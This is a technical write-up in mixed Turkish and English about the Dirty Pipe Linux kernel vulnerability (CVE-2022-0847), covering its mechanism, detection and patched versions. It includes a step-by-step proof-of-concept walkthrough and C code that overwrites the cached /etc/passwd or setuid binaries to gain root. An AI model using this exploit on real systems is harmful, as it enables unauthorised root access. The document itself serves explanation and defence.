Dirty Pipe pipe page-cache write (CVE-2022-0847)¶
Splice ile yüklenmiş bir pipe buffer üzerindeki bayatlamış, initialize edilmemiş bir
PIPE_BUF_FLAG_CAN_MERGEflag'i, unprivileged bir process'in datayı doğrudan read-only bir dosyanın page cache'ine merge etmesine izin verir.
Mechanism¶
Dirty Pipe, struct pipe_buffer'da initialize-edilmemiş-flags bir bug'dır. 241699cd72a8 commit'i ("new iov_iter flavour: pipe-backed", Linux 4.9, 2016), buffer'ın flags member'ını asla initialize etmeyen pipe-buffer allocation path'leri sundu. Bu, Linux 5.8'in f6dd975583bd commit'i ("pipe: merge anon_pipe_buf_ops") per-buffer flag PIPE_BUF_FLAG_CAN_MERGE'e bir anlam verene dek zararsızdı: bu flag pipe write path'ine, sonraki bir write()'ın taze bir anonymous page allocate etmek yerine mevcut buffer'ın backing page'ine append edebileceğini* söyler.
Note
Invariant şu: yalnızca pipe-owned bir anonymous page'e merge edilebilir; splice() üzerinden referans edilen bir page-cache page pipe üzerinden asla writable olmamalı. Anonymous pipe write'ları anon_pipe_buf_ops kullanır (mergeable, page'in sahibi pipe'tır). splice() ile çekilen dosya datası page_cache_pipe_buf_ops kullanır ve gerçek bir page-cache page'e işaret eder. Bug şu: copy_page_to_iter_pipe() (ve push_pipe()) dosya datasını bir pipe_buffer'a yüklediğinde, flags'ı initialize edilmemiş bırakırlar, böylece önceden kullanılmış bir anonymous buffer'dan kalan bayatlamış bir PIPE_BUF_FLAG_CAN_MERGE, page-cache destekli buffer üzerinde set kalır. Pipe'a sonraki write() o zaman attacker'ın byte'larını doğrudan dosyanın page cache'ine merge eder. Bir pipe'a yazmak hiçbir file-permission kontrolü yapmaz ve page cache kernel-writable'dır, yani bu read-only dosyaları, immutable dosyaları, read-only mount'lardaki dosyaları ve read-only btrfs snapshot'larını overwrite eder (değişiklik yalnızca cache'te kalır, disk'e persist olmaz).
Warning
Kısıtlamalar: attacker'ın hâlâ hedef dosyaya read erişimi gerekir; write bir page boundary'de başlayamaz (mergeable buffer'ı kurmak için hedef offset'inden hemen önceki byte'ı splice edersin); write bir page boundary'sini geçemez; ve dosya resize edilemez (değişiklik cache'te, disk'e append edilmiş değil).
Walkthrough¶
Max Kellermann'ın PoC'si beş adımdır:
1. Create a pipe.
2. Fill the pipe completely with arbitrary bytes, so every
struct pipe_buffer on the ring has PIPE_BUF_FLAG_CAN_MERGE set.
3. Drain the pipe (read all the data back out). The buffers are
now empty but the stale CAN_MERGE flag remains.
4. splice() one byte from the read-only target file into the pipe,
at the offset immediately before the bytes you want to overwrite:
splice(fd_target, &offset, pipe_w, NULL, 1, 0);
copy_page_to_iter_pipe() never clears flags, so the spliced
page-cache buffer keeps the stale CAN_MERGE flag.
5. write(pipe_w, payload, len);
Instead of allocating a new buffer, the write merges payload
into the page-cache page of the read-only target file.
Hedef O_RDONLY açılır ve hiç write permission gerekmez:
int fd = open("/etc/passwd", O_RDONLY); // read-only is enough
// prepare_pipe(): fill then drain to set+leave CAN_MERGE
prepare_pipe(p);
loff_t off = offset - 1;
ssize_t n = splice(fd, &off, p[1], NULL, 1, 0); // load 1 byte
write(p[1], data, data_size); // merge into cache
Beklenen sonuç
$ ./dirtypipe /etc/passwd 4 'AAAAAAAA...'
Splicing 1 byte from offset 3 into the pipe...
Writing 8 bytes to the pipe...
It worked!
/etc/passwd'a bilinen bir password hash inject etmek veya bir root shell elde etmek için root-owned bir setuid binary'nin cache'lenmiş byte'larını overwrite etmek (onu geçici olarak hijack ederek).
Detection¶
- Read-only dosyalardan küçük uzunlukların
splice()'ı, hemen ardından aynı pipe'awrite()gelmesi anormaldir; pipe'lar üzerindesplice/writeçiftlerini trace et. - Karşılık gelen bir on-disk değişiklik olmadan cache'lenmiş read-only system dosyalarının (
/etc/passwd, package-owned binary'ler) beklenmedik şekilde değişmesine dikkat et.
Mitigation¶
Linux 5.16.11, 5.15.25 ve 5.10.102'de, copy_page_to_iter_pipe() ve push_pipe() içinde flags member'ı initialize edilerek düzeltildi. Etkilenen: o fix'lere kadar 5.8 (ve stable backport'lar 5.15.0-5.15.24, 5.10.0-5.10.101, 5.16.0-5.16.10).